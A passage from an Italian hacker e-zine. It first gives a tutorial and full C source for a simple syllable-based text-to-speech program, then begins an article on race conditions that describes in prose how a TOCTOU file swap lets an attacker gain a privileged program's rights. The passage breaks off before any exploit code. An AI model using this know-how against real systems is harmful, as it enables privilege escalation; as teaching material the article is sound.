sillabe della frase sono state individuate all' interno del database procede alla loro concatenazione e riproduce la traccia sonora da essa ottenuta. Quali sono le difficolt di scrivere tale programma? Il principale problema da affrontare consiste nel riconscimento della voce dell'utente quando si esegue l'acquisizione di una nuova sillaba e la soppressione del rumore di fondo dalle tracce. Per distinguere il rumore di fondo dal parlato necessario come prima cosa prelevare un campione del rumore di fondo, successivamente quando si acquisiranno le tracce contenenti la voce dell'utente che pronuncia la sillaba sar cura del programma ricercare al loro interno gli intervalli di silenzio prima e dopo la voce al fine di eliminarli. 2.1 Analisi a runtime La frase utilizzata nell'esempio "sopra la panca la capra campa", come vedremo le sillabe so-pra-la-pan non sono conosciute dal programma e verranno richieste all'utente per la memorizzazione nel database. Come vedremo la traccia audio di ogni sillaba pronunciata dall'utente verr analizzata per rimuovere il silenzio prima e dopo la sua voce. Ogni traccia audio composta da un numero di N campioni, la traccia viene analizzata a gruppi di M campioni, dove M un numero molto inferiore a N. In particolare il programma riconosce l'inizio della sillaba all'interno della traccia sonora cercando di isolare il primo blocco di M campioni contenente una percentuale di campioni di rumore superiore al 20%. La fine della sillaba viene individuata pressoch nello stesso modo, questa volta viene ricercato il primo blocco di M campioni contenente una percentuale di campioni di silenzio superiore all'80%. Segue l'output di esempio del programma: # ./grillo_parlante Vuoi eseguire una prova del microfono? [y/n]: n Il programma procedera' al campionamento e alla soppressione del rumore di fondo. Durante questa fase e' necessario rimanere in silenzio. Premere INVIO per iniziare. Inizio procedura tra 5...4...3...2...1...silenzio! Scrivi una frase: sopra la panca la capra campa Pronuncia la sillaba so. Premere INVIO per iniziare. Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 3% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 45% <--- inizio della sillaba Percentuale silenzio: 54% Percentuale silenzio: 60% Percentuale silenzio: 75% Percentuale silenzio: 83% <--- fine sillaba Pronuncia la sillaba pra. Premere INVIO per iniziare. Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 23% <--- inizio della sillaba Percentuale silenzio: 77% Percentuale silenzio: 90% <--- fine sillaba Pronuncia la sillaba la. Premere INVIO per iniziare. Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 3% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 7% Percentuale rumore: 45% <--- inizio della sillaba Percentuale silenzio: 55% Percentuale silenzio: 38% Percentuale silenzio: 25% Percentuale silenzio: 51% Percentuale silenzio: 99% <--- fine sillaba Pronuncia la sillaba pan. Premere INVIO per iniziare. Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 0% Percentuale rumore: 15% <--- rumore Percentuale rumore: 0% Percentuale rumore: 13% Percentuale rumore: 42% <--- inizio della sillaba Percentuale silenzio: 57% Percentuale silenzio: 56% Percentuale silenzio: 64% Percentuale silenzio: 65% Percentuale silenzio: 71% Percentuale silenzio: 91% <--- fine sillaba Infine il programma concatena le sillabe acquisite dal microfono con quelle gi presenti nel database e riproduce la frase vocalmente. 2.2 Analisi del codice Incominciamo la nostra analisi del codice sorgente partendo dalla prima parte della funzione main(): int main(int argc, char **argv) { int dev; . . . . set_device(dev); rumore_fondo(dev); for (;;) { . . . . } } Come prima cosa viene richiamata set_device() che provvede a settare i parametri relativi al campionamento: void set_device(int dev) { int arg; arg = BITS; if (ioctl(dev, SOUND_PCM_WRITE_BITS, &arg) == -1) err_quit(); if (arg != BITS) { fprintf(stderr, "Unable to set required sample bits size\n"); exit(-1); } . . . . } Esegue una serie di ioctl() sul descrittore di file relativo a /dev/dsp al fine di settare il numero di bit, il numero di canali e la frequenza a cui verranno effettuati i campionamenti. Nel nostro caso tali valori vengono assegnati sulla base di alcune costanti definite all'inizio del programma: #define BITS 8 #define CHANNELS 1 #define RATE 8000 come possiamo vedere dal valore delle costanti i campionamenti verranno effettuati a 8 bit, mono e con una frequenza di campionamento di 8000 Hz. Leggendo dal descrittore del file /dev/dsp possibile acquisire l'input dal dispositivo abilitato dal mixer, nel nostro caso il microfono, mentre scrivendoci possibile riprodurre la fonte sonora campionata. La seconda funzione chiamata da main() rumore_fondo() che serve a campionare il rumore di fondo: int min = 255, max = 0; void rumore_fondo(int dev) { int i; Audio sample; unsigned char *ptr; do { . . . . memset(&sample, 0, sizeof(sample)); if (read(dev, sample.data, SAMPLE_LEN) == -1) err_quit(); /* Ricerca i picchi massimi e minimi nel rumore di fondo campionato. I valori dei campioni possono oscillare tra 0 e 255 dove 128 equivale alla condizione di totale silenzio */ for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN; ptr++) { *ptr &= MASK; if (*ptr < min) min = *ptr; if (*ptr > max) max = *ptr; } . . . . /* Se i picchi massimi e minimi riscontrati nel rumore di fondo si discostano eccessivamente da 128, che equivale alla condizione di totale silenzio, mostra un messaggio d'errore e ripete la procedura */ } while (min < MIN || max > MAX); } In questa funzione leggiamo una traccia di dimensione SAMPLE_LEN dal device /dev/dsp e la memorizziamo nella variabile sample, questa traccia conterr il rumore di fondo. La costante SAMPLE_LEN definita in maniera tale da rispecchiare lo spazio richiesto in memoria per contenere una traccia di durata pari a tre secondi: #define SECONDS 3 #define SAMPLE_LEN BITS / 8 * CHANNELS * RATE * SECONDS Per calcolare il valore di SAMPLE_LEN sappiamo che il numero di byte di un campione pu essere ottenuto dividendo per 8 il numero di bit che compone ogni campione: BITS / 8 Inoltre sappiamo che viene prelevato un campione per ogni canale, che nel nostro caso uno solo visto che lavoriamo in mono. Essendo la frequenza di campionamento pari a 8000 Hz sappiamo che per ogni secondo di traccia verranno memorizzati 8000 campioni pertanto moltiplichiamo la durata della traccia espressa in secondi per la frequenza di campionamento espressa in Hz: RATE * SECONDS Il valore di SAMPLE_LEN viene calcolato moltiplicando il numero di byte che compongono ciascun campione per il numero di canali per la frequenza di campionamento per la durata della traccia in secondi: BITS / 8 * CHANNELS * RATE * SECONDS Una volta letta la traccia audio entriamo nel ciclo for e ptr viene fatto puntare all'inizio della traccia che contiene il rumore di fondo campionato. Ad ogni iterazione del ciclo for il puntatore viene fatto avanzare di un byte, ovvero la dimensione di ogni campione (BITS / 8), al termine del for le variabili min e max conterranno rispettivamente il picco minimo e massimo presenti nel rumore di fondo. Tenendo in considerazione che il valore di ogni campione pu oscillare tra 0 e 255, dove 128 rappresenta la condizione di totale silenzio, possiamo immaginare che min avr un valore di poco inferiore a 128 mentre max avr un valore di poco superiore a tale soglia. A questo punto i valori del picco minimo e massimo vengono raffrontati con i valori di due costanti: #define MIN 120 #define MAX 140 Nel caso il valore dei picchi dovesse essere superiore a tali valori il programma proceder ad effettuare nuovamente il campionamento del rumore di fondo. Passiamo ora all'analisi della seconda parte della funzione main(): int main(int argc, char **argv) { int dev, fd, i; char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba; . . . . for (;;) { printf("Scrivi una frase: "); if (fgets(buff, sizeof(buff), stdin) == NULL) err_quit(); buff[strlen(buff) - 1] = 0; memcpy(temp, buff, sizeof(buff)); for (parola = strtok(temp, " "); parola != NULL; parola = strtok(NULL, " ")) /* Divide in sillabe la parola */ for (i = 1; dividi_sillabe(parola, &sillaba, i) ; i++) { /* Se la sillaba non presente nel database procede alla sua memorizzazione */ if (trova_sillaba(fd, sillaba) == -1) memorizza_sillaba(dev, sillaba, fd); free(sillaba); } . . . . } } La funzione fgets() provvede a leggere dallo standard input una frase digitata dall'utente e a memorizzarla per successive elaborazioni. Subito dopo viene richiamata ciclicamente strtok() su tale frase per separarne le varie parole che la compongono: for (parola = strtok(temp, " "); parola != NULL; parola = strtok(NULL, " ")) . . . Ogni parola, a sua volta, viene scoposta in sillabe richiamando ricorsivamente la funzione dividi_sillabe(): /* Divide in sillabe la parola */ for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) { . . . } Per ogni sillaba viene eseguita la funzione trova_sillaba() che verifica se la sillaba esiste nel database del programma: /* Se la sillaba non presente nel database procede alla sua memorizzazione */ if (trova_sillaba(fd, sillaba) == -1) memorizza_sillaba(dev, sillaba, fd); Il descrittore di file fd a cui si fa riferimento quello relativo al database delle firme che non altro che un file binario nel quale viene memorizzata ogni sillaba sia sotto forma di testo ascii che la relativa traccia audio. Se trova_sillaba() da esito negativo, ovvero la sillaba non presente nel database, viene chiamata la funzione memorizza_sillaba() che provvede ad inserire la nuova sillaba nel database. Analizziamo dunque queste due funzioni, trova_sillaba() difinita in questo modo: int trova_sillaba(int fd, char *sillaba) { Audio sample; lseek(fd, 0, SEEK_SET); memset(&sample, 0, sizeof(sample)); while (read(fd, &sample, sizeof(sample)) > 0) if (strcmp(sample.sillaba, sillaba) == 0) return 1; return -1; } Come prima cosa si sposta all'inizio del file che contiene il database delle sillabe e scorre tutte le voci contenute nel db alla ricerca di una che corrisponda alla sillaba passata come argomento della funzione. Se la sillaba viene trovata la funzione ritorna 1 altrimenti ritorna -1. In questo modo nel caso il valore di ritorno di tale funzione dovesse risultare negativo verrebbe richiamata la funzione memorizza_sillaba() che provvederebbe all'inserimento della nuova sillaba nel db. La prima parte di tale funzione si presenta cos: void memorizza_sillaba(int dev, char *sillaba, int fd) { Audio sample; int rumore, silenzio, percent_rumore, percent_silenzio; unsigned char *ptr, *ptr2; do { printf("Pronuncia la sillaba %s. Premere INVIO per iniziare.\n", sillaba); fgetc(stdin); memset(&sample, 0, sizeof(sample)); strncpy(sample.sillaba, sillaba, 9); if (read(dev, sample.data, SAMPLE_LEN) == -1) err_quit(); . . . . } while (....); . . . . } All'utente viene richiesto di pronunciare ad alta voce la sillaba passata come argomento della funzione. Successivamente la funzione esegue una lettura dal descrittore di file relativo al device audio /dev/dsp al fine di acquisire la traccia audio. Possiamo notare che la variabile sample nella quale viene memorizzata la sillaba dichiarata di tipo Audio, questo tipo una struttura definita nel modo seguente: typedef struct { int begin, end; char sillaba[10]; unsigned char data[SAMPLE_LEN]; } Audio; la variabile sillaba conterr la stringa corrispondente alla sillaba, mentre la variabile data conterr la traccia audio acquisita dal microfono. Passiamo ora alla seconda parte della stessa funzione: void memorizza_sillaba(int dev, char *sillaba, int fd) { Audio sample; int rumore, silenzio, percent_rumore, percent_silenzio; unsigned char *ptr, *ptr2; do { . . . . for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE) { rumore = 0; /* Analizza un blocco di campioni per vedere la percentuale di rumore in esso contenuta */ for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++) if (*ptr2 < min || *ptr2 > max) rumore++; /* Se la percentuale di rumore contenuta nel blocco di campioni analizzato supera il 20% lo considera l'inizio della sillaba pronunciata */ printf("Percentuale rumore: %d%%\n", percent_rumore = 100 * rumore / NSAMPLE); if (percent_rumore > 20) { sample.begin = ptr - sample.data; break; } } if (!sample.begin) fprintf(stderr, "\nNon stato possibile riconoscere l'inizio della parola.\n"); . . . . } while (....); . . . . } Il puntatore ptr viene fatto puntare all'inizio della traccia audio e per ogni iterazione del ciclo for viene fatto avanzare di un numero di campioni pari al valore della costante NSAMPLE cos definita: #define NSAMPLE 500 Ad ogni itarazione del ciclo for pi esterno viene eseguito un altro for al suo interno: /* Analizza un blocco di campioni per vedere la percentuale di rumore in esso contenuta */ for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++) if (*ptr2 < min || *ptr2 > max) rumore++; Il puntatore ptr2 viene fatto puntare alla porzione di dati corrente, in questo modo la traccia la cui durata tolate di 3 secondi viene analizzata a blocchi di 500 campioni. Lo scopo del ciclo for pi interno quello di scorrere ogni elemento di ogni blocco di campioni al fine di trovare il primo blocco di campioni che rappresenti la sillaba pronunciata dall'utente. Per far questo viene analizzato il valore di ogni singolo campione che compone il blocco di 500 elementi e viene incrementata la variabile rumore nel caso in cui il valore del campione analizzato dovesse uscire dai valori di soglia che costituiscono il silenzio. /* Se la percentuale di rumore contenuta nel blocco di campioni analizzato supera il 20% lo considera l'inizio della sillaba pronunciata */ printf("Percentuale rumore: %d%%\n", percent_rumore = 100 * rumore / NSAMPLE); if (percent_rumore > 20) { sample.begin = ptr - sample.data; break; } Una volta usciti dal ciclo for interno viene calcolata la percentuale di elementi che contengono rumore e se tale percentuale supera il 20% il blocco di campioni viene considerato l'inizio della sillaba pronunciata dall'utente all'interno della traccia audio. La variabile begin contenuta all'interno della struttura sample viene fatta puntare all'inizio di tale blocco per indicare l'inizio della sillaba all'interno della traccia. Passiamo alla terza ed ultima parte della funzione: void memorizza_sillaba(int dev, char *sillaba, int fd) { Audio sample; int rumore, silenzio, percent_rumore, percent_silenzio; unsigned char *ptr, *ptr2; do { . . . . for (ptr = sample.data + sample.begin; ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE) { silenzio = 0; /* Analizza un blocco di campioni per vedere la percentuale di silenzio in esso contenuta */ for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++) if (*ptr2 >= min && *ptr2 <= max) silenzio++; /* Se la percentuale di silenzio contenuta nel blocco di campionianalizzato supera l'80% lo considera la fine della sillaba pronunciata */ printf("Percentuale silenzio: %d%%\n", percent_silenzio = 100 * silenzio / NSAMPLE); if (percent_silenzio > 80) { sample.end = ptr - sample.data; break; } } if (!sample.end) fprintf(stderr, "\nNon stato possibile riconoscere la fine della parola.\n"); } while (!sample.begin || !sample.end); /* Aggiunge la nuova sillaba al database */ lseek(fd, 0, SEEK_END); if (write(fd, &sample, sizeof(sample)) == -1) err_quit(); } Lo struttura del for in tutto e per tutto simile a quella analizzata in precedenza, pertanto valgono le stesse considerazioni fatte poco sopra. Questa volta il for viene utilizzato per trovare il blocco di campioni che rappresentano la fine della sillaba all'interno della traccia audio. Il costrutto do-while verifica che l'inizio e la fine sillaba siano state riconosciute, in caso contrario l'intera procedura verr ripetuta. Infine, la nuova sillaba viene inserita alla fine del database in modo tale che possa essere utilizzata in futuro, tale funzione costituisce l'elemento base per l'apprendimento del programma. Facciamo ora un breve salto indietro e torniamo ad analizzare la terza parte della funzione main(): int main(int argc, char **argv) { int dev, fd, i; char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba; . . . . for (;;) { . . . . for (parola = strtok(buff, " "); parola != NULL; parola = strtok(NULL, " ")) { /* Divide in sillabe la parola */ for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) { /* Riproduce la sillaba contenuta nel database */ if (pronuncia(dev, sillaba, fd) == -1) fprintf(stderr, "Sillaba sconosciuta\n"); free(sillaba); } usleep(300000); } } } Viene richiamata ciclicamente strtok() esattamente come avveniva per la seconda parte di main(). L'intera frase viene cos divisa in parole che vengono successivamente divise in sillabe. Per ogni sillaba ottenuta viene richiamata la funzione pronuncia() che legge il database e provvede a riprodurre la traccia relativa a tale sillaba. Vediamo come si presenta la funzione pronuncia(): int pronuncia(int dev, char *sillaba, int fd) { Audio sample; lseek(fd, 0, SEEK_SET); memset(&sample, 0, sizeof(sample)); /* Scorre l'intero database alla ricerca della sillaba */ while (read(fd, &sample, sizeof(sample)) > 0) /* Se la sillaba viene trovata la riproduce */ if (strcmp(sample.sillaba, sillaba) == 0) { write(dev, sample.data + sample.begin, sample.end - sample.begin); return 1; } return -1; } La funzione ricerca la sillaba passata come argomento tra quelle memorizzate nel database, se la sillaba viene trovata viene riprodotta scrivendo sul device /dev/dsp. Notare che la porzione della traccia audio che viene riprodotta esclusivamente quella tra sample.begin e sample.end che sono state inizializzate in memorizza_sillaba(). In questo modo il programma riproduce esclusivamente la parte parlata della traccia audio e salta la parte che contiene solo rumore di fondo. 3. Codice sorgente /* * grillo_parlante.c: Text-To-Speech synthesizer that read text aloud. * * * Copyright (c) 2003, eazy * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH * DAMAGE. * */ #include #include #include #include #include #include #include #include #include #include #define DSP "/dev/dsp" #define DB ".dizionario" #define MIN 120 #define MAX 140 #define BITS 8 #define CHANNELS 1 #define RATE 8000 #define SECONDS 3 #define SAMPLE_LEN BITS / 8 * CHANNELS * RATE * SECONDS #define MASK 0xfc #define MAXLEN 255 #define NSAMPLE 500 #define LEN 8 #define SCREEN_LEN 80 int signo = 0, min = 255, max = 0; typedef struct { int begin, end; char sillaba[10]; unsigned char data[SAMPLE_LEN]; } Audio; void err_quit(void) { perror("error"); exit(-1); } void sigint(int sig) { signo = 1; } int consonante(char lettera) { int i; char vocale[5] = {'a', 'e', 'i', 'o', 'u'}; for (i = 0; i < 5; i++) if (lettera == vocale[i]) return 0; return 1; } int vocale(char lettera) { int i; char vocale[5] = {'a', 'e', 'i', 'o', 'u'}; for (i = 0; i < 5; i++) if (lettera == vocale[i]) return 1; return 0; } int doppia(char *lettera) { if (*lettera == 0) return 0; if (*lettera == *(lettera + 1)) return 1; return 0; } int nmlr(char *lettera) { int i; char nmlr[4] = {'n', 'm', 'l', 'r'}; for (i = 0; i < 4; i++) if (*lettera == nmlr[i]) if (consonante(*(lettera + 1))) return 1; return 0; } /* Restituisce la sillaba che si trova nella posizione indicata da pos */ int dividi_sillabe(char *parola, char **sillaba, int pos) { int i; char *ptr, *begin, *end; for (i = 1, ptr = parola; ptr < parola + strlen(parola); i++) { begin = ptr; while (consonante(*ptr)) ptr++; while (vocale(*ptr)) ptr++; if (doppia(ptr)) { ptr++; goto fine; } if (nmlr(ptr)) ptr++; fine: end = ptr; if (i == pos) { *sillaba = calloc(end - begin + 1, sizeof(char)); memcpy(*sillaba, begin, end - begin); return 1; } } return 0; } int trova_sillaba(int fd, char *sillaba) { Audio sample; lseek(fd, 0, SEEK_SET); memset(&sample, 0, sizeof(sample)); while (read(fd, &sample, sizeof(sample)) > 0) if (strcmp(sample.sillaba, sillaba) == 0) return 1; return -1; } void memorizza_sillaba(int dev, char *sillaba, int fd) { Audio sample; int rumore, silenzio, percent_rumore, percent_silenzio; unsigned char *ptr, *ptr2; do { printf("Pronuncia la sillaba %s. Premere INVIO per " "iniziare.\n", sillaba); fgetc(stdin); memset(&sample, 0, sizeof(sample)); strncpy(sample.sillaba, sillaba, 9); if (read(dev, sample.data, SAMPLE_LEN) == -1) err_quit(); for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE) { rumore = 0; /* Analizza un blocco di campioni per vedere la percentuale di rumore in esso contenuta */ for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++) if (*ptr2 < min || *ptr2 > max) rumore++; /* Se la percentuale di rumore contenuta nel blocco di campioni analizzato supera il 20% lo considera l'inizio della sillaba pronunciata */ printf("Percentuale rumore: %d%%\n", percent_rumore = 100 * rumore / NSAMPLE); if (percent_rumore > 20) { sample.begin = ptr - sample.data; break; } } if (!sample.begin) fprintf(stderr, "\nNon stato possibile " "riconoscere l'inizio della parola.\n"); for (ptr = sample.data + sample.begin; ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE){ silenzio = 0; /* Analizza un blocco di campioni per vedere la percentuale di silenzio in esso contenuta */ for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++) if (*ptr2 >= min && *ptr2 <= max) silenzio++; /* Se la percentuale di silenzio contenuta nel blocco di campioni analizzato supera l'80% lo considera la fine della sillaba pronunciata */ printf("Percentuale silenzio: %d%%\n", percent_silenzio = 100 * silenzio / NSAMPLE); if (percent_silenzio > 80) { sample.end = ptr - sample.data; break; } } if (!sample.end) fprintf(stderr, "\nNon stato possibile " "riconoscere la fine della parola.\n"); } while (!sample.begin || !sample.end); /* Aggiunge la nuova sillaba al database */ lseek(fd, 0, SEEK_END); if (write(fd, &sample, sizeof(sample)) == -1) err_quit(); } int pronuncia(int dev, char *sillaba, int fd) { Audio sample; lseek(fd, 0, SEEK_SET); memset(&sample, 0, sizeof(sample)); /* Scorre l'intero database alla ricerca della sillaba */ while (read(fd, &sample, sizeof(sample)) > 0) /* Se la sillaba viene trovata la riproduce */ if (strcmp(sample.sillaba, sillaba) == 0) { write(dev, sample.data + sample.begin, sample.end - sample.begin); return 1; } return -1; } unsigned char campiona(int dev) { int n; unsigned char buff[LEN]; if ((n = read(dev, &buff, LEN)) == LEN) return buff[n - 1]; return -1; } /* tnx lesion for this function :) */ void eq(int dev) { int i, l; struct sigaction act, old; act.sa_handler = sigint; sigemptyset(&act.sa_mask); act.sa_flags |= SA_RESTART; if (sigaction(SIGINT, &act, &old) == -1) err_quit(); while (!signo) { l = campiona(dev) * SCREEN_LEN / 255; for (i = 0; i < l; i++) printf("|"); printf("\n"); } signo = 0; if (sigaction(SIGINT, &old, NULL) == -1) err_quit(); } void set_mic(int dev) { int i; printf("Vuoi eseguire una prova del microfono? [y/n]: "); if (fgetc(stdin) == 'y') { printf("\nPer terminare la prova microfono premi " "Ctrl^C "); for (i = 5; i > 0; i--) { printf("%d...", i); fflush(stdout); sleep(1); } printf("\n"); eq(dev); } fgetc(stdin); } void rumore_fondo(int dev) { int i; Audio sample; unsigned char *ptr; do { set_mic(dev); fprintf(stderr, "Il programma procedera' al " "campionamento e alla soppressione del rumore\n" "di fondo. Durante questa fase e' necessario " "rimanere in silenzio.\n" "Premere INVIO per iniziare.\n"); fgetc(stdin); fprintf(stderr, "\nInizio procedura tra "); for (i = 5; i > 0; i--) { printf("%d...", i); fflush(stdout); sleep(1); } printf("silenzio!\n"); memset(&sample, 0, sizeof(sample)); if (read(dev, sample.data, SAMPLE_LEN) == -1) err_quit(); /* Ricerca i picchi massimi e minimi nel rumore di fondo campionato. I valori dei campioni possono oscillare tra 0 e 255 dove 128 equivale alla condizione di totale silenzio */ for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN; ptr++) { *ptr &= MASK; if (*ptr < min) min = *ptr; if (*ptr > max) max = *ptr; } /* Se i picchi massimi e minimi riscontrati nel rumore di fondo si discostano eccessivamente da 128, che equivale alla condizione di totale silenzio, mostra un messaggio d'errore e ripete la procedura */ if (min < MIN || max > MAX) fprintf(stderr, "Operazione non riuscita. Questo" " puo' essere dovuto ad un'errata\n" "configurazione del mixer o ad un eccessivo " "rumore di fondo. Provare\n" "a diminuire il livello del mixer relativo al " "microfono e riprovare.\n"); } while (min < MIN || max > MAX); } void set_device(int dev) { int arg; arg = BITS; if (ioctl(dev, SOUND_PCM_WRITE_BITS, &arg) == -1) err_quit(); if (arg != BITS) { fprintf(stderr, "Unable to set required sample bits " "size\n"); exit(-1); } arg = CHANNELS; if (ioctl(dev, SOUND_PCM_WRITE_CHANNELS, &arg) == -1) err_quit(); if (arg != CHANNELS) { fprintf(stderr, "Unable to set required channels\n"); exit(-1); } arg = RATE; if (ioctl(dev, SOUND_PCM_WRITE_RATE, &arg) == -1) err_quit(); if (arg != RATE) { fprintf(stderr, "Unable to set required sample rate\n"); exit(-1); } } int main(int argc, char **argv) { int dev, fd, i; char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba; if ((dev = open(DSP, O_RDWR)) == -1) err_quit(); if ((fd = open(DB, O_RDWR | O_CREAT, S_IRWXU)) == -1) err_quit(); set_device(dev); rumore_fondo(dev); for (;;) { printf("Scrivi una frase: "); if (fgets(buff, sizeof(buff), stdin) == NULL) err_quit(); buff[strlen(buff) - 1] = 0; memcpy(temp, buff, sizeof(buff)); for (parola = strtok(temp, " "); parola != NULL; parola = strtok(NULL, " ")) /* Divide in sillabe la parola */ for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) { /* Se la sillaba non presente nel database procede alla sua memorizzazione */ if (trova_sillaba(fd, sillaba) == -1) memorizza_sillaba(dev, sillaba, fd); free(sillaba); } for (parola = strtok(buff, " "); parola != NULL; parola = strtok(NULL, " ")) { /* Divide in sillabe la parola */ for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) { /* Riproduce la sillaba contenuta nel database */ if (pronuncia(dev, sillaba, fd) == -1) fprintf(stderr, "Sillaba " "sconosciuta\n"); free(sillaba); } usleep(300000); } } } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x06][C0DiNG] RACE C0NDiTi0NS [snagg] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: -= alternauts.altervista.org - alternative research group =- \ snagg (snagg(at)autisticiorg) - alternauts(at)altervistaorg \ Cosa sono: Le race condition sono gli errori piu' comuni nella programmazione multithreaded o multiprocesso. Una race condition si verifica quando una assunzione fatta dal programmatore che non dovrebbe cambiare per un dato lasso di tempo, cambia per forza . In questo caso il programma diventa non deterministico dando luogo a diversi problemi di robustezza del codice, ma spesso anche di sicurezza del sistema dove il codice viene eseguito. Vediamo un piccolo esempio. Supponiamo di avere un programma multithreaded che per ogni accesso dell' utente restituisce un codice di sessioni differente preso da un qualsiasi generatore di numeri casuali (es /dev/random) scrivendolo su uno stesso buffer. Cosa succederebbe se due utenti eseguissero quasi nello stesso momento il programma? Il primo thread inizia ad essere schedulato, ma il kernel lo blocca quindi processa il secondo restituendo il codice di sessione generato per il primo thread subito dopo , il primo thread riprendera` ad essere scedulato senza che il codice di sessione (scritto nel famoso e _unico_ buffer) venga aggiornato . In questo modo entrambi i thread restituiscono lo stesso codice. Questo e` un esempio di race condition poiche` il programma fa un'assunzione (Nessuno si collega al server per n milli secondi), che viene infranta e quindi da luogo a problemi di sicurezza. Generalmente su n tentativi puo' capitare che si verifichi la race condition una volta sola. Anche se la possibilita` che si verifichi una race condition non sono molte magari una su mille, molto prababilmente con un attacco automatizzato sara` piu` facile sollecitarla e quindi dare luogo a problemi. Le race condition sono strettamente collegate allo scheduling di threads e processi, di cui parleremo in seguito. Le race condition affliggono potenzialmente tutti gli ambienti multithreaded, multiprocesso , con i segnali (UNIX) asincroni, con i semafori e potenzialmente anche in kernel space, infatti il kernel linux ad esempio ha la possibilita' di creare threads che lavorino solo in kernel space. Purtroppo alcune race condition attaccano anche il filesystem, recentemente e` stata trovata una race condition che affliggeva JFS con le chiamete link() e unlink(), causando non poche grane. Supponiamo di avere un programma che prima di aprire un file usa la syscall access()[2] per controllare se ha determinati permessi sul file da aprire. Nel tempo che intercorre tra l`access e la reale apertura del file, un attacker potrebbe cambiare il file sul quale il programma ha determinati permessi con un altro su cui l'attacker non ne ha ottenendo tutti i privilegi che il codice vulnerabile aveva sul primo.Ovviamente il programma deve avere privilegi superiori di colui che cerca di exploittarlo altrimenti sarebbe inutile fare tanta fatica per nulla. Questo tipo di race condition si chiamano TOCTOU (time to check, time to use). Piu' in la' nel testo vedremo con sfruttarle.Generalmente le race condition dipendono dallo stato della macchina e dai tipo di processi in esecuzione ovvero se hanno priorita` maggiore o minore dei nostri.Piu` in la` spiegheremo come funziona lo scheduling. Le finestre di tempo: Una finestra di tempo e' il lasso di tempo in cui si puo' sfruttare la race condition. Piu' questo e' ampio piu' ci sono probabilita' che la race condition si verifichi. I programmatori comunemente non fanno molto caso a quanto posso essere ampia una finestra di tempo in termini di millisecondi, comunque sarebbe buona norma rendere il codice "atomico". Con atomico si intende che il codice critico viene eseguito senza che il processo venga switchato ovvero uninterruptible , senza che nulla possa bloccare la sua esecuzione. Una buona soluzione sarebbe ridurre al minimo la finestra di tempo, che se non atomica potrebbe essere così piccola da non essere mai sfruttata. Lo scheduling: Una tra le cose piu` importanti da sapere quando si cerca di sfruttare una race condition e` sapere in che modo il kernel scheduli i threads. Per quel che riguarda linux la politica di scheduling si basa su: time sharing; priorita` dei processi; Lo scheduler tiene periodicamente conto di cio` che i processi fanno e di conseguenza imposta la priorita` in modo tale da vedere quanto i processi possano sfruttare la CPU, inoltre se un processo sta sfruttando la CPU per un lungo periodo, la sua priorita` scende sistematicamente. I processi vengono abitualmente classificati in: Interactive processes; Batch processes; Real-time processes; I primi sono quelli che necessitano dell'interazione con l'utente (es 